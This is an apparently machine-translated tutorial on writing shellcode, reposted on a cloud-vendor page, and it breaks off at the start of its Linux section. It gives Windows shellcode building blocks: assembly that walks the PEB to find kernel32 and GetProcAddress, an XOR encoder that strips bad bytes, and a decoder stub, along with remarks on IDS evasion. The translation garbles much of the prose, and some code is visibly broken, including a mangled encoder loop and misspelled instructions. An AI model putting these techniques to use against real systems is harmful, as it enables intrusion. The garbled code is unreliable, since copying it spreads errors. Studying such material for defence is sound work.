Starting from scratch-talking about LinuxShellCode

Source: Internet
Author: User
Author: wangweinoo1 [A.X. d] EMail: wangweinoo1@gmail.comDate: 2009.1.14Note: I first in shudoo, After submitted by the original author to evil eight, reprint please indicate the document directory: 1. what is ShellCode2.Shellcode? write considerations 3. starting from WindowsShellCode 4. zheng


Author: wangweinoo1 [A.X. D]
EMail: wangweinoo1@gmail.com
Date: 2009.1.14
Note: I first started shudoo, and then submitted to Shiba by the original author. For more information, see

Article Directory:
1. what is ShellCode?
2. Shellcode writing considerations
3. start with Windows ShellCode
4. start with the question-Linux system call
5. The first Linux ShellCode
6. shellcode of the bound port
7. Summary

1. what is ShellCode?
Let's start our ShellCode journey from a classic story
In other words, a patriotic hacker compiled an Nday overflow program to attack CNN one day. after entering the IP address and entering it, the hacker found that the target server did not respond, so he took out the sniffer packet capture analysis... "Oh, my dog! There is no shellcode !" Why is shellcode so important to an exploit? What is Shellcode?
To put it simply, Shellcode is a binary code that can complete a specific function. The specific task is determined by the attacker. it may be to start a new shell, download a specific program, or return a shell to the attacker.
Shellcode is the core of overflow programs and worms. it is naturally associated with vulnerabilities. after all, Shellcode is only useful for unpatched hosts. Tens of thousands of servers running with vulnerabilities on the network give hacker and Vxer a great dinner. Shellcode is the most critical component in vulnerability exploitation. Because the vulnerability discoverer does not provide the complete Shellcode at the beginning of the vulnerability discovery, it is particularly important to master the Shellcode writing technology.
Shellcode will directly operate on registers and some system calls. therefore, to write shellcode, you can write a program in advanced languages, compile the program, and decompile the code to obtain the hexadecimal operating code, of course, you can also directly write the assembly and extract the hexadecimal operating code from the binary file.
Let's take a look at the secrets of shellcode ~

II. considerations for Shellcode writing
Shellcode is generally used to send data to the server, causing overflow. different data has different requirements for data. Therefore, Shellcode is not necessarily the same. But some problems in the Shellcode compilation process are the same:
1. Shellcode programming language
Which language is best for Shellcode writing? This issue is inconclusive. Shellcode can basically use any programming language, but what we need is to extract the machine code. Shellcode is the most controllable to write in assembly language, because we can control code generation through instructions. The disadvantage is that it takes a lot of time and you need to have a deep understanding of assembly. If you want to pursue speed, C is a good choice. C language is easier to write, but Shellcode extraction is more complex. However, once a template is written, it saves a lot of effort. For example, there is a written Template: Copy the content to the clipboard code:
Void Shellcode ()
{
_ Asm
{
Nop
Nop
Nop
Nop
Nop
Nop
Nop
Nop
}
} Then, use the function pointer in main () and memcmp to locate shellcode. use a function such as pintf to type shellcode out or save it. I will not write the sample code. Looking at the current shellcode, most of it is done by C. so I want you to make a choice?
2. relocate the Shellcode code itself. Shellcode process control, that is, how to place control in Shellcode through overflow
3. locate the API address used in Shellcode.
4. Shellcode encoding problems.
5. polymorphism technology avoids IDS detection.
I will discuss these questions in the following chapters.


III. start with Windows ShellCode
In this chapter, I will talk about how to obtain the EIP of the program, how to locate the API address, and how to code ShellCode.
1. locate the Shellcode address and obtain the EIP of the program.
Why is it necessary to obtain an EIP? The reason is that we need our Shellcode to be executed. if we have knowledge of virus technology, we should know how they are.
Location: CALL/POP is used. Here we have to mention two methods: jmp esp and CALL/pop ebx. This is a method that people are familiar with windows and has a very high success rate. (Thank you for your consideration ...) In our method, we overwrite the return address through the Shellcode address. after overflow, we can jump to our code to obtain the permission. Shellcode
The address in the memory is not fixed, so we use the jmp esp, call esp, and call ebp in the system DLL file to implement the Shellcode address
. There are two advantages: One is that you do not need to accurately locate the Shellcode address; the other is to prevent strcpy from truncating 00 bytes, because the DLL
The address is generally 7 FXXXXXX. We will not go into details here. you can refer to baidu for details.
2. locate the API address in Shellcode
The running environment and virus of the Shellcode code are similar in some aspects. because of different systems, the Api addresses are also different. Therefore
If Shellcode runs in different Windows systems, you must solve the problem of locating the Api. The key to API positioning is to understand the Windows DLL image file format, that is, PE
File format, and then obtain the API address through the Export table of the search function. The locating methods include the brute-force search method, which obtains and traverses the SEH chain method from the PEB process. Me
You can obtain it from the PEB process here. the sample code is as follows: copy the content to the clipboard code:
_ Asm
{
Push ebp;
Sub esp, 0x40;
Mov ebp, esp;

Push ebp;
Mov eax, fs: 0x30; PEB
Mov eax, [eax + 0x0c]; Ldr
Mov esi, [eax + 0x1c]; Flink
Lodsd
Mov edi, [eax + 0x08]; edi is the address of kernel32.dll

Mov eax, [edi + 3Ch]; eax = PE header
Mov edx, [edi + eax + 78 h]
Add edx, edi; edx = output table address
Mov ecx, [edx + 18 h]; ecx = number of output functions
Mov ebx, [edx + 20 h]
Add ebx, edi; ebx = function name address, AddressOfName
Search:
Dec ecx
Mov esi, [ebx + ecx * 4]
Add esi and edi; find the name of each function in sequence
; GetProcAddress
Mov eax, 0x50746547
Cmp [esi], eax; PteG
Jne search
Mov eax, 0x41636f72
Cmp [esi + 4], eax; Acor
Jne search

; If it is GetProcA, it indicates that
Mov ebx, [edx + 24 h]
Add ebx, edi; ebx = index number address, AddressOf
Mov cx, [ebx + ecx * 2]; ecx = calculated index number value
Mov ebx, [edx + 1Ch]
Add ebx, edi; ebx = start position of the function address, AddressOfFunction
Mov eax, [ebx + ecx * 4]
Add eax, edi; calculate the address of GetProcAddress using the index value


Mov [ebp + 40 h], eax; store the GetProcAddress address in ebp + 40. Next, use GetProcAddress () and LoadLibraryA () to obtain other required functions, it's no different from C. I skipped it. The details are the most troublesome ....
3. Shellcode encoding
This is the biggest headache for us to write ShellCode... For example, the strcpy function cannot contain 0x00, and the rpc docm overflow cannot contain 0x5c. If these characters exist, the service will interrupt the Shellcode and overflow will fail. Different overflows have different requirements on shellcode. of course, you need to select characters to achieve the goal. this is too tired. simply write a piece of code, for example: copy the content to the clipboard code:
For (I = 0; I ch = SC _buff ^ Enc_key;
// Replace the possible characters
If (ch <= 0x1f | ch =. | ch =/| ch = =\| | ch = 0 | ch =? | Ch = % | ch = +)
{
Buff = 0;
++ K;
Ch + = 0x31;
}
// Put the encoding Code after DecryptSc
Buff [k] = ch;
++ K;
}
The following is an example of decoding an era code:
Jmp next
GetEncodeAddr:
Pop edi
Push edi
Pop esi
Xor ecx, ecx
Decrypt_lop:
Loasb
Cmp al, cl
Jz shell
Cmp al, 0x30 // determines whether it is a special character
Jz specal_char_clean
Store:
Xor al, Enc_key
Stosb
Jmp Decrypt_lop
Special_char_clean:
Lodsb
Sub al, 0x31
Jmp store
Next:
Call getEncodeAddr only provides a simple example. in the face of requirements for Unicode encoding, we will not go into detail here.
I didn't want to write so much about Windows shell, so I wrote too much about it. Alas, there is no experience. In this chapter, let's talk about the RP problem. ShellCode is very hard to write, enough for a dish like me to write a code N every day... However, you will know what a sense of accomplishment is... ^_^ In addition, this is not to teach you to do EXP to harm people, but to let everyone know about this technology from the perspective of research, so as to prevent it and contribute their own strength to the network and peace.

4. start with the question-Linux system call
Why do we need to know about system calls when writing shellcode? Because system calls are a bridge between user and kernel states. Most operating systems provide core functions that many applications can access. shellcode also needs to call these core functions. The core functions provided by Linux can be conveniently used to access files, execute commands, and communicate over networks. These functions are called by the System ).
If you want to know which system calls are available on the system, you can directly view the kernel code. Linux system calls are defined in the following file:/usr/include/asm-i386/unistd. h. The file contains the definition of each available system call in the system. the content is roughly as follows: copy content

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.